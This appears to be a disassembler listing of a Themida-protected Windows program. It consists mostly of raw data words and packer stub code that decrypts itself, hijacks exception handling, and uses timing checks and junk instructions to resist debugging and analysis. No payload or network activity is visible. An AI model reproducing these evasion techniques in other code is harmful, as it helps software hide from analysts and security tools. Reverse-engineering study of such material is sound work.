		dd 37C60000h, 7DEBh, 7 dup(0)
		dd 0FFB00000h, 3A0022Fh, 0
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 60020000h, 8280h, 2 dup(0)
		dd 0AC5E0000h, 0FF9877E7h, 0FFFFh, 2 dup(0)
		dd 26960000h, 0
		dd 59740000h, 8655h, 3 dup(0)
		dd 0CE30000h, 0EE54h, 409D0000h, 6D1h, 2D7B0000h, 0FFFFh
		dd 5 dup(0)
		dd 0B7170000h, 3210FFFEh, 133h,	5 dup(0)
		dd 3F600000h, 2	dup(0)
		dd 99950000h, 0A3h, 3 dup(0)
		dd 0FF6E0000h, 49840000h, 5Ah, 1F80000h, 77FFh,	3 dup(0)
		dd 8F8C0000h, 57h, 2 dup(0)
		dd 858C0000h, 797h, 248h, 2 dup(0)
		dd 34300000h, 312Dh, 0
		dd 0D37C0000h, 33930059h, 5C18h, 0
		dd 40000h, 0DB20000h, 34E4h, 277A0000h,	0ED0E0001h, 53h
		dd 69DD001Ch, 9Fh, 67940000h, 7FFFh, 69DD0000h,	9Fh, 9DF20000h
		dd 0ED0E0057h, 53h, 2 dup(0)
		dd 40E50000h, 59h, 5910000h, 77E8h, 667A0000h, 0B70D0000h
		dd 519Eh, 0
		dd 8C0000h, 0
		dd 858C0000h, 797h, 0
		dd 41A10000h, 0D431D89Eh, 0EBB0h, 2 dup(0)
		dd 190000h, 0E294h, 0
		dd 1BFD0000h, 6	dup(0)
		dd 1B2B0000h, 77F5h, 0
		dd 4ACC0000h, 0B4E3h, 2	dup(0)
		dd 3040000h, 7FFEh, 0
		dd 0B7E30000h, 6257h, 28BE0000h, 57h, 304F038h,	68547FFEh
		dd 64696D65h, 61h, 1Eh dup(0)
		dd 73440000h, 21680059h, 77E8h,	0
		dd 7930000h, 58h, 1C5E0000h, 0FC06h, 5 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 8D8D0000h, 0BA18h, 0D0000000h, 0Dh, 4 dup(0)
		dd 0A6950000h, 0FFFFh, 2 dup(0)
		dd 3040000h, 7FFEh, 0B3A60000h,	0FF6EFFA5h, 0FA7Bh, 5 dup(0)
		dd 0FFF00000h, 12h, 4 dup(0)
		dd 8F890000h, 8F6B0056h, 56h, 4	dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Ch dup(0)
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0)
		dd 0A9A80000h, 9CFFFFh,	4 dup(0)
		dd 70740000h, 0FFA8h, 2	dup(0)
		dd 7A6E0000h, 3, 6 dup(0)
		dd 0C3AD0000h, 0B9408063h, 5Ah,	0A88B0000h, 1444h, 0
		dd 9CBB0000h, 57h, 0B80000h, 3 dup(0)
		dd 0ADF90000h, 0C7h, 0
		dd 2A360000h, 0A3370000h, 8D8D0057h, 32684B70h,	87F900A0h
		dd 58h,	0
		dd 3040000h, 7FFEh, 0
		dd 38E80000h, 84D0h, 0BC540000h, 0CB45h, 0Eh dup(0)
		dd 68540000h, 1B2B00AEh, 0D590110h, 0FF54005Bh,	12h, 21210000h
		dd 0B5E22121h, 0
		dd 3040000h, 58h, 0Ah dup(0)
		dd 840000h, 6 dup(0)
		dd 0E5260000h, 49C6FA6Ah, 0B5E3h, 3E8C0000h, 7F5D005Bh
		dd 3259h, 4 dup(0)
		dd 5CB50000h, 77E7h, 7 dup(0)
		dd 3B20000h, 92340054h,	0C5E1009Fh, 0FCFC0058h,	8001h
		dd 4 dup(0)
		dd 2A100000h, 58h, 5 dup(0)
		dd 15CA0000h, 59h, 0
		dd 0FC4E0000h, 0FFABh, 5 dup(0)
		dd 0CCA00000h, 5E3B0000h, 0FFA8h, 8 dup(0)
		dd 0A5A40000h, 57h, 3 dup(0)
		dd 740000h, 0
		dd 8C0A0000h, 0C08F009Fh, 57h, 0BA730000h, 21C8h, 2 dup(0)
		dd 0E5260000h, 3B90FA6Ah, 0E024007Ah, 0FE9Eh, 45940258h
		dd 0B2D1h, 0
		dd 1F9C0000h, 0
		dd 0BC540000h, 0CB45h, 13h dup(0)
		dd 0B6h, 0
		dd 44380000h, 0FFA7h, 12h dup(0)
		dd 7EAF0000h, 0F7ECh, 0
		dd 3040000h, 7FFEh, 0D8730000h,	3E683681h, 69DD77E8h, 9Fh
		dd 0
		dd 0FF7F0000h, 0FFFFh, 5 dup(0)
		dd 6CE10000h, 809Dh, 3 dup(0)
		dd 0DA310000h, 5718h, 0
		dd 215B0000h, 0FFA8h, 3	dup(0)
		dd 23E80000h, 0A0h, 5 dup(0)
		dd 1B6B0000h, 8B2Dh, 2 dup(0)
		dd 0E5260000h, 0FA6Ah, 967F0000h, 77FFh, 0B1h dup(0)
		dd 2FA50000h, 5Bh, 0E5260000h, 0FA6Ah, 6 dup(0)
		dd 7380000h, 0FA28h, 16h dup(0)
		dd 72180000h, 57h, 3 dup(0)
		dd 120B0000h, 23D70010h, 77DDh,	8 dup(0)
		dd 6A2E0000h, 2F0777E7h, 0FFFF0059h, 0FFFFh, 3 dup(0)
		dd 40000h, 14240000h, 6CB8FFA9h, 248h, 0E8B50000h, 9F28h
		dd 4 dup(0)
		dd 0A1FE0000h, 0AFh, 75A10000h,	2B5Fh, 6 dup(0)
		dd 0FFFF0000h, 7FFFh, 2	dup(0)
		dd 0B5E20000h, 8A0Fh, 3	dup(0)
		dd 9D50000h, 0F1D3FFA9h, 6284h,	8A9A0000h, 0DD4Fh, 2 dup(0)
		dd 40000h, 2 dup(0)
		dd 0B7730000h, 1FEFh, 10h dup(0)
		dd 15680000h, 0A0h, 3 dup(0)
		dd 0ADh, 3 dup(0)
		dd 0FFB00000h, 21Fh, 0FFB00000h, 9E3B020Fh, 0FE6005Ah
		dd 9Eh,	0
		dd 37B90000h, 7DFB7008h, 0FFA6h, 2 dup(0)
		dd 4C5A0000h, 5Ah, 0
		dd 0A9800000h, 59h, 2 dup(0)
		dd 5DA90000h, 76AEh, 9DBF0000h,	99FFh, 2C460000h, 0FEC1h
		dd 0A40000h, 0
		dd 0A3DD0000h, 0FFA6h, 2 dup(0)
		dd 9Eh,	0A00F0000h, 7FFEh, 5 dup(0)
		dd 16890000h, 0FFA8h, 5	dup(0)
		dd 69DD0000h, 858C009Fh, 797h, 22920000h, 9Fh, 6A020000h
		dd 3D43h, 4 dup(0)
		dd 0FFA40000h, 12h, 2 dup(0)
		dd 14A90000h, 1B23h, 9E80000h, 8 dup(0)
		dd 466C0000h, 66DAh, 81h dup(0)
		dd 0ADFE0000h, 77D6h, 2BDE0000h, 0E66B009Fh, 58h, 3 dup(0)
		dd 858C0000h, 797h, 84AC77DDh, 4696EF99h, 0A3D2h, 3F80000h
		dd 6BCE0000h, 248h, 2 dup(0)
		dd 0E2700000h, 0A693h, 5 dup(0)
		dd 25640259h, 0F245h, 5	dup(0)
		dd 0E90000h, 4,	3 dup(0)
		dd 0A00000h, 0FFEDh, 5C800000h,	0F343h,	10000h,	9 dup(0)
		dd 0BC540000h, 0CB45h, 2 dup(0)
		dd 7DBB0000h, 0D7060DE4h, 77E6h, 2 dup(0)
		dd 0C4860000h, 77E7h, 0Ah dup(0)
		dd 0BC2F0000h, 0CB45h, 0
		dd 3040000h, 7FFEh, 0
		dd 10000h, 230000h, 53h, 3 dup(0)
		dd 0A6090000h, 59F00000h, 77DDh, 0
		dd 3040000h, 7FFEh, 0A13F0000h,	0D1BF77E7h, 2CB5h, 9 dup(0)
		dd 77E6h, 2 dup(0)
		dd 980000h, 3040000h, 3CA37FFEh, 5Ah, 12h dup(0)
		dd 0FF540000h, 12h, 2 dup(0)
		dd 60090000h, 99BD005Ah, 1B9C117Eh, 54h, 0
		dd 7C9D0000h, 5Ah, 18h dup(0)
		dd 3040000h, 7D17FFEh, 0
		dd 858C0000h, 3040797h,	7FFEh, 0E4EB0000h, 0C7h, 1B760000h
		dd 0CCA00058h, 5Ah, 3 dup(0)
		dd 28E60000h, 57h, 7 dup(0)
		dd 69BE0000h, 408Ch, 93EF0000h,	77E7h, 2 dup(0)
		dd 3EFF0000h, 53h, 3 dup(0)
		dd 1050000h, 0A28h, 3 dup(0)
		dd 3A00000h, 0
		dd 0A00F0259h, 9Fh, 3 dup(0)
		dd 8E180000h, 0AF7Ah, 9	dup(0)
		dd 10000h, 5 dup(0)
		dd 3040000h, 7FFEh, 69DD0000h, 9Fh, 5 dup(0)
		dd 0FFFF0000h, 0FFFFh, 0
		dd 1B590000h, 54h, 0
		dd 7D990000h, 5Ah, 0
		dd 7C0000h, 31540000h, 0A0h, 0
		dd 0B5C0000h, 77A5h, 3 dup(0)
		dd 0C2D0000h, 0C64h, 0F8120000h, 1D82h,	0
		dd 0FF1C0000h, 12h, 21h	dup(0)
		dd 0BBC80000h, 0FF6E0058h, 14FA7Bh, 0Eh, 0
		dd 6B150000h, 5Bh, 6 dup(0)
		dd 263D0000h, 0FF6E0057h, 0F62BFA7Bh, 56h, 0
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 3040000h, 7FFEh, 70AC0000h, 9Fh, 5A030000h, 15738818h
		dd 118Dh, 4 dup(0)
		dd 553C0000h, 42h, 4 dup(0)
		dd 0FFB00000h, 0FA56015Fh, 9Fh,	0
		dd 731C0000h, 94997FFFh, 9Fh, 0
		dd 15CA0000h, 31450059h, 9Fh, 2	dup(0)
		dd 2B550000h, 5139h, 5 dup(0)
		dd 10000h, 3E0000h, 9F3C009Eh, 2FFFFh, 2 dup(0)
		dd 57D70000h, 7A900058h, 5Ah, 3	dup(0)
		dd 3040000h, 7017FFEh, 9BDF028Bh, 3 dup(0)
		dd 387A0000h, 0C2DCh, 8B820000h, 492B77E7h, 0E942h, 5 dup(0)
		dd 38DC0000h, 0FCFCEAEEh, 8001h, 199A028Bh, 6E86h, 0Ch dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0F7270000h, 72ED0058h, 0FFA9h, 7 dup(0)
		dd 667A0000h, 65FB0000h, 5Ah, 840000h, 0Ah dup(0)
		dd 4E480000h, 6832h, 0
		dd 0CCA00000h, 5Ah, 9 dup(0)
		dd 0C3EE0000h, 66F9h, 8F3C0000h, 0A837FF60h, 77E7h, 99800000h
		dd 8000h, 8D8D0000h, 9C90h, 4 dup(0)
		dd 2B0000h, 4 dup(0)
		dd 10000h, 0
		dd 4EB0000h, 0
		dd 0A6940000h, 0FFFFh, 0
		dd 1Ah,	0
		dd 0F1950000h, 65527F46h, 72617473h, 70704174h,	6578652Eh
		dd 0
		dd 858C0000h, 797h, 0
		dd 0EBB30000h, 77F7h, 2	dup(0)
		dd 10000h, 4 dup(0)
		dd 97390000h, 69DD56B7h, 7C84009Fh, 5CCh, 24h dup(0)
		dd 0E1070000h, 59h, 70C40000h, 0CBF3009Fh, 9 dup(0)
		dd 0A0800000h, 0FFA5h, 0
		dd 0FFC40000h, 12h, 2 dup(0)
		dd 6180000h, 0FFFF77E8h, 0Bh dup(0)
		dd 0B1340000h, 7A9000A1h, 5Ah, 7 dup(0)
		dd 23E80000h, 0A0h, 0FFB00000h,	1572014Fh, 0A7F2118Dh
		dd 0FFA8h, 3040000h, 0EF47h, 0A0A80000h, 7C7Ah,	4 dup(0)
		dd 5D0000h, 39014Eh, 0
		dd 8F8C0000h, 57h, 3 dup(0)
		dd 90370000h, 57h, 0
		dd 6A170000h, 5Ah, 0
		dd 22220000h, 22222222h, 2222h,	3 dup(0)
		dd 0F6750000h, 0FFA6h, 9BAC0000h, 30DF00A1h, 304A9C5h
		dd 7FFEh, 2 dup(0)
		dd 667A0000h, 0ED320000h, 73161A3Ch, 0A1h, 5D7A0000h, 59h
		dd 0
		dd 5D80000h, 77E8h, 0
		dd 3040000h, 0C6137FFEh, 7FD8005Ah, 0A1h, 3 dup(0)
		dd 25Bh, 8B820000h, 12A377E7h, 8056h, 0
		dd 3040000h, 7FFEh, 0Dh	dup(0)
		dd 48300000h, 4	dup(0)
		dd 8F8C0000h, 57h, 4 dup(0)
		dd 0AC0000h, 3 dup(0)
		dd 872A0000h, 18Fh, 2Bh	dup(0)
		dd 0C3E0000h, 7	dup(0)
		dd 2FA50000h, 49B4005Bh, 0CE20005Ah, 7000005Ah,	3, 3 dup(0)
		dd 8D8D0000h, 7F79h, 4 dup(0)
		dd 21680000h, 0C96A0002h, 939377D4h, 9Fh, 0A8450000h, 58h
		dd 0
		dd 0FBD40000h, 0FFB00057h, 1EFh, 7 dup(0)
		dd 0C3AD0000h, 3048063h, 7FFEh,	3 dup(0)
		dd 6CB80000h, 248h, 0
		dd 0B03C0000h, 59h, 98DB0000h, 5Ah, 6 dup(0)
		dd 667A0000h, 3	dup(0)
		dd 6E720000h, 79632F21h, 77E7h,	6BC60000h, 0BAE7h, 0Ah dup(0)
		dd 0A00000h, 5E622E0Eh,	0A00F0059h, 7FFEh, 4 dup(0)
		dd 2FE80000h, 77E8h, 0B1CA0000h, 0B1B300ADh, 0FF6E0057h
		dd 0F62BFA7Bh, 56h, 3 dup(0)
		dd 2E0F0000h, 77F5h, 4 dup(0)
		dd 0FC4E0000h, 0FFABh, 2 dup(0)
		dd 3E680000h, 2, 0Bh dup(0)
		dd 5CB50000h, 77E7h, 7B720000h,	5Ah, 3 dup(0)
		dd 0DA5A0000h, 2E5F1E78h, 5Ah, 8 dup(0)
		dd 33330000h, 2	dup(33333333h),	11B63333h, 6868h, 0
		dd 0C92D0000h, 0FFFFh, 2 dup(0)
		dd 0FF6B0000h, 57h, 8 dup(0)
		dd 0DC0000h, 4 dup(0)
		dd 858C0000h, 797h, 800000h, 2 dup(0)
		dd 0D5540000h, 9Eh, 2 dup(0)
		dd 0C80000h, 62420000h,	7FA4h, 2 dup(0)
		dd 0E0000000h, 304004Dh, 7FFEh,	2 dup(0)
		dd 0FF6B0000h, 66360057h, 59h, 0Dh dup(0)
		dd 0EAEA0000h, 0FFB60053h, 6FFFFh, 18h dup(0)
		dd 0FF6E0000h, 510DFA7Bh, 0
		dd 3FFC0000h, 0EAEB7FFFh, 53h, 5 dup(0)
		dd 9B840000h, 7270h, 2 dup(0)
		dd 26230000h, 57h, 3 dup(0)
		dd 10004h, 0D4530000h, 3896h, 9	dup(0)
		dd 0A0990000h, 2E4877E7h, 539Dh, 0A8370000h, 0B0E977E7h
		dd 3 dup(0)
		dd 7B170000h, 5Ah, 0A00000h, 0
		dd 48FF0000h, 58h, 2 dup(0)
		dd 35B0000h, 0F9F0000h,	58h, 3 dup(0)
		dd 23F40000h, 0FFFF0054h, 0FFFFh, 2 dup(0)
		dd 637A0000h, 5Ah, 0
		dd 47F30000h, 5E90h, 4 dup(0)
		dd 5ED10000h, 5Ah, 0
		dd 0FF540000h, 0A5FD0012h, 1, 0
		dd 0BC7C0000h, 0CB45h, 3 dup(0)
		dd 0FFAF0000h, 535Dh, 6	dup(0)
		dd 3040000h, 3458h, 0
		dd 10000h, 7 dup(0)
		dd 10000h, 780000h, 6 dup(0)
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 2CAE0000h, 0D1D07FFEh, 0FFA5h, 0A00F0000h, 9Fh, 0AC0000h
		dd 4 dup(0)
		dd 8D530000h, 0A3h, 5 dup(0)
		dd 95C40000h, 0BBA1h, 2	dup(0)
		dd 76B4h, 2 dup(0)
		dd 9160000h, 700054h, 5	dup(0)
		dd 3040000h, 7FFEh, 3D70000h, 7FFEh, 0
		dd 4AE70000h, 58h, 667A0000h, 4	dup(0)
		dd 480C0000h, 0A451h, 0
		dd 9A3D0000h, 0A5FD0058h, 0D40177E7h, 5Ah, 11110000h, 1111h
		dd 6 dup(0)
		dd 0B1680000h, 9Eh, 0
		dd offset dword_580000
		dd 7FCFh, 3040000h, 7FFEh, 3 dup(0)
		dd 0FFFE0000h, 0FFFFh, 0
		dd 77F5h, 3 dup(0)
		dd 0CD6C0000h
		db 5Ah,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_541506:				; CODE XREF: start:loc_53E1CDj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5E93343h
		mov	[ebp+5E92A31h],	edx
		mov	[ebp+5E90281h],	esi
		mov	[ebp+5E91291h],	eax
		cmp	dword ptr [ebp+5E9035Dh], 0
		jz	short loc_54153E
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54153E:				; CODE XREF: start+6151Cj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+5E92E45h],	eax
		push	45h
		call	sub_5415F2
		push	783749Ah
		call	sub_541638
		push	0A894B25h
		call	sub_541638
		jmp	loc_54177C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5415F2	proc near		; CODE XREF: start+61536p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E93431h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54160E:				; CODE XREF: sub_5415F2+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54162D
		mov	eax, [ebp+arg_0]
		mov	[ebx+5E9339Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54160E
; ---------------------------------------------------------------------------


loc_54162D:				; CODE XREF: sub_5415F2+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_5415F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_541638	proc near		; CODE XREF: start+61540p start+6154Ap

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E9347Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54165E:				; CODE XREF: sub_541638+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54165E
		mov	[ebp+var_84], 0
		lea	edi, [edx+5E9339Bh]
		lea	esi, [ebp+var_80]


loc_54168E:				; CODE XREF: sub_541638+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54169A:				; CODE XREF: sub_541638+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54169A
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54168E
		popa
		leave
		retn	4
sub_541638	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_5416D8
; ---------------------------------------------------------------------------


loc_5416D4:				; CODE XREF: Themida_:005416DBj
		inc	dword ptr [ebp-4]
		inc	esi


loc_5416D8:				; CODE XREF: Themida_:005416D2j
		cmp	byte ptr [esi],	0
		jnz	short loc_5416D4
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_541769
; ---------------------------------------------------------------------------


loc_5416EA:				; CODE XREF: Themida_:0054176Cj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_541760
; ---------------------------------------------------------------------------


loc_5416F3:				; CODE XREF: Themida_:00541764j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54174D
; ---------------------------------------------------------------------------


loc_541703:				; CODE XREF: Themida_:00541751j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_541725
		cmp	bl, 39h
		ja	short loc_541725
		sub	bl, 30h
		jmp	short loc_541747
; ---------------------------------------------------------------------------


loc_541725:				; CODE XREF: Themida_:00541719j
					; Themida_:0054171Ej
		cmp	bl, 61h
		jb	short loc_541737
		cmp	bl, 66h
		ja	short loc_541737
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_541747
; ---------------------------------------------------------------------------


loc_541737:				; CODE XREF: Themida_:00541728j
					; Themida_:0054172Dj
		cmp	bl, 41h
		jb	short loc_541747
		cmp	bl, 46h
		ja	short loc_541747
		sub	bl, 41h
		add	bl, 0Ah


loc_541747:				; CODE XREF: Themida_:00541723j
					; Themida_:00541735j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54174D:				; CODE XREF: Themida_:00541701j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_541703
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54175D
		mov	eax, [ebp-10h]
		stosb


loc_54175D:				; CODE XREF: Themida_:00541757j
		inc	dword ptr [ebp-8]


loc_541760:				; CODE XREF: Themida_:005416F1j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_5416F3
		add	edx, 4


loc_541769:				; CODE XREF: Themida_:005416E8j
		cmp	edx, [ebp-4]
		jb	loc_5416EA
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54177C:				; CODE XREF: start+6154Fj
		mov	ecx, 7000h
		lea	edi, [ebp+5E935C0h]


loc_541787:				; CODE XREF: start+61777j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_541787
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5E936B2h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	ebx
		call	sub_5417C3
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_5417C3	proc near		; CODE XREF: start+617A7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5417C3	endp

; ---------------------------------------------------------------------------
		db 0ECh
		dd 0E9C22B86h, 11h, 0C3EE777Ah,	31C300C7h, 0E9775B26h
		dd 0C902D1F9h, 0F0002569h, 0CA8BFFFFh, 8166FF33h, 755A4D38h
		dd 50B70F0Eh, 81D0033Ch, 45503Ah, 2D087400h, 1000h, 64E3EB47h
		dd 58Fh, 0C4830000h, 0C5958D04h, 5205E936h, 35FF64h, 64000000h
		dd 2589h, 0C1030000h, 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh
		dd 80000000h, 708B0376h, 83C0331Ch, 1F7432F8h, 4D3E8166h
		dd 8109745Ah, 10000EEh,	0EBEB4000h, 33C7E8Bh, 503F81FEh
		dd 74000045h, 64E8EB44h, 58Fh, 0C4830000h, 51C36104h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 8B51C3C0h, 5510244Ch
		dd 0E8h, 0ED815D00h, 5E936D0h, 368E858Dh, 818905E9h, 0B8h
		dd 0C033595Dh, 8F6496C3h, 5, 4C48300h, 37B3D0B3h, 4860Fh
		dd 0BB660000h, 8C66FC16h, 52006AD9h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0D5459B75h
		dd 66B15967h, 60CEF381h, 0E804E180h, 8,	9EA90D3Ah, 0FC94113Ch
		dd 0FC90A5Bh, 3A85h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 68C0F0Ch, 81000000h, 0FD8A8FD3h
		dd 0BD85C71Eh, 105E901h, 8B000000h, 52E9DFh, 0C7F80000h
		dd 0E901BD85h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 10E9C8h, 0A5B0000h, 0DA45FE77h
		dd 3D0D86C1h, 691579E4h, 11E98D9Dh, 0B6000000h,	0D9CD1800h
		dd 4A52D129h, 855D9970h, 28B97940h, 23458589h, 0D98B05E9h
		dd 1EFD8589h, 9E805E9h,	0F7000000h, 83EE3729h, 88D2C16Eh
		dd 0FCF4FDBEh, 8B665B15h, 0D0C381F1h, 6600005Dh, 68F28Bh
		dd 66000000h, 581BB6BEh, 9EBBDE81h, 0C8B5A5Ah, 40BA6603h
		dd 0CFE98158h, 0F5A0CDAh, 1985h, 12E95600h, 7E000000h
		dd 0A795C45Dh, 526115A1h, 2F7A24BAh, 31F130Ah, 0C1815AF8h
		dd 8BDE0A6h, 0A4CFC181h, 0F532244h, 684h, 800F00h, 5F000000h
		dd 81030C89h, 0BDA51ECFh, 0D78B661Eh, 2C3CE881h, 11E96B5Fh
		dd 0B7000000h, 0A2FE4AE8h, 8AAFA342h, 826296A2h, 0E6E05ECAh
		dd 2C38C081h, 0F8816B5Fh, 0FFFFA2E0h, 0FF80850Fh, 8E0FFFFFh
		dd 3, 0E8D1BF0Fh, 7, 2BEC3C2Bh,	8BE1B846h, 0BF665AFBh
		dd 0C281E9BDh, 7399h, 1CAA68h, 8E900h, 0DDE0000h, 6A15B085h
		dd 8B5BA5CCh, 12E902h, 16CC0000h, 0A17FBE96h, 2101497Dh
		dd 8921359Dh, 0B71E1056h, 0E032F081h, 0AE91ABEh, 67000000h
		dd 0B3A777F9h, 0D0225D24h, 90E88184h, 8118CC1Fh, 560051D1h
		dd 0ADC08173h, 0F41EE44h, 381h,	0F08B6600h, 66028F50h
		dd 0EA83CA8Bh, 0DE802h,	5DF20000h, 0F0661F10h, 0CEF181D7h
		dd 0E83B4C0Ah, 0Eh, 0B409F102h,	78708398h, 0E7DE9D80h
		dd 5F5FC4C9h, 12E94A4Ah, 30000000h, 2A0FEE0Bh, 841BE467h
		dd 578A9220h, 0F18ECECDh, 1EB815Dh, 0F000000h, 1285h, 860F00h
		dd 0E9000000h, 25h, 4ECE8D66h, 0F8B659Ah, 286h,	0E9616000h
		dd 0FFFFFF43h, 0F2827AD9h, 63B8281Fh, 0F7E443C4h, 0C58D67F9h
		dd 78FE919h, 850F0000h,	17h, 12E9h, 0A795C400h,	526115A1h
		dd 2F7A24BAh, 31F130Ah,	17C58FF8h, 2, 41770000h, 0C03B5568h
		dd 9D899761h, 5E92501h,	8D310000h, 5E93179h, 0B8FC60h
		dd 0F9000000h, 2824548Bh, 2CE99D89h, 858905E9h,	5E93105h
		dd 0C880Fh, 8F0F0000h, 6, 19799D29h, 3CBE05E9h,	0F000000h
		dd 688h, 7D850900h, 305E932h, 0E9242474h, 0Ah, 4DCE5FAh
		dd 9417F361h, 0AD668DAAh, 9E9h,	4AD2DB00h, 3FE4CBF0h, 440311DEh
		dd 9602424h, 0E9103185h, 98DF8105h, 61298119h, 128D0F90h
		dd 50000000h, 8C0F52h, 0F000000h, 0F525031h, 5A585A31h
		dd 52505058h, 0BE9h, 0E2DC9B00h, 3446AF8Fh, 6AB16Ch, 5250310Fh
		dd 8A0Fh, 310F0000h, 840Fh, 585A0000h, 0F90585Ah, 158Dh
		dd 10E900h, 0C70A0000h,	0F46FB5A1h, 0FAC8C389h,	0B7BD14FAh
		dd 408B5F73h, 0CDB50978h, 305E919h, 60282444h, 530515BAh
		dd 408FB80Ch, 0F6179C4h, 680h, 0A58D2900h, 8B05E91Fh, 40FC1840h
		dd 0FE8B6660h, 898D0B60h, 5705E916h, 8961615Eh,	0E91DDD95h
		dd 0B2858905h, 0F05E939h, 683h,	0BD9D3100h, 5805E907h
		dd 78708BF5h, 0B8D38B60h, 10D9CAA1h, 1CC68361h,	313DBD29h
		dd 740305E9h, 890F2424h, 1, 61BD8DFCh, 6005E91Eh, 6820Fh
		dd 9D890000h, 5E91C99h,	258D2B60h, 6605E90Ch, 6161F08Bh
		dd 8A0F60ADh, 0Ah, 5E9h, 6BF5AD00h, 81661256h, 611D71E2h
		dd 24244403h, 0E860ABF9h, 11h, 8CB5ACFFh, 0EA5231F7h, 0A6490872h
		dd 0C4C2E751h, 800F40h,	59000000h, 59958B60h, 8B05E932h
		dd 0E910ADBDh, 8D616105h, 0E91999BDh, 9E9F505h,	0A7000000h
		dd 175D23C6h, 0A115614Eh, 0B52B60ADh, 5E90375h,	34E08FB9h
		dd 3F9610Fh, 89242444h,	0E925B58Dh, 52505005h, 6840Fh
		dd 8B0F0000h, 0
		dd 8E0F310Fh, 6, 310F5250h, 585A585Ah, 0FC240489h, 358589ABh
		dd 0F805E900h, 1669BD8Dh, 11E905E9h, 0B4000000h, 0EEF6BDCDh
		dd 0DF88DF4Ch, 12969294h, 36DF1AA1h, 6D8589ADh,	305E92Eh
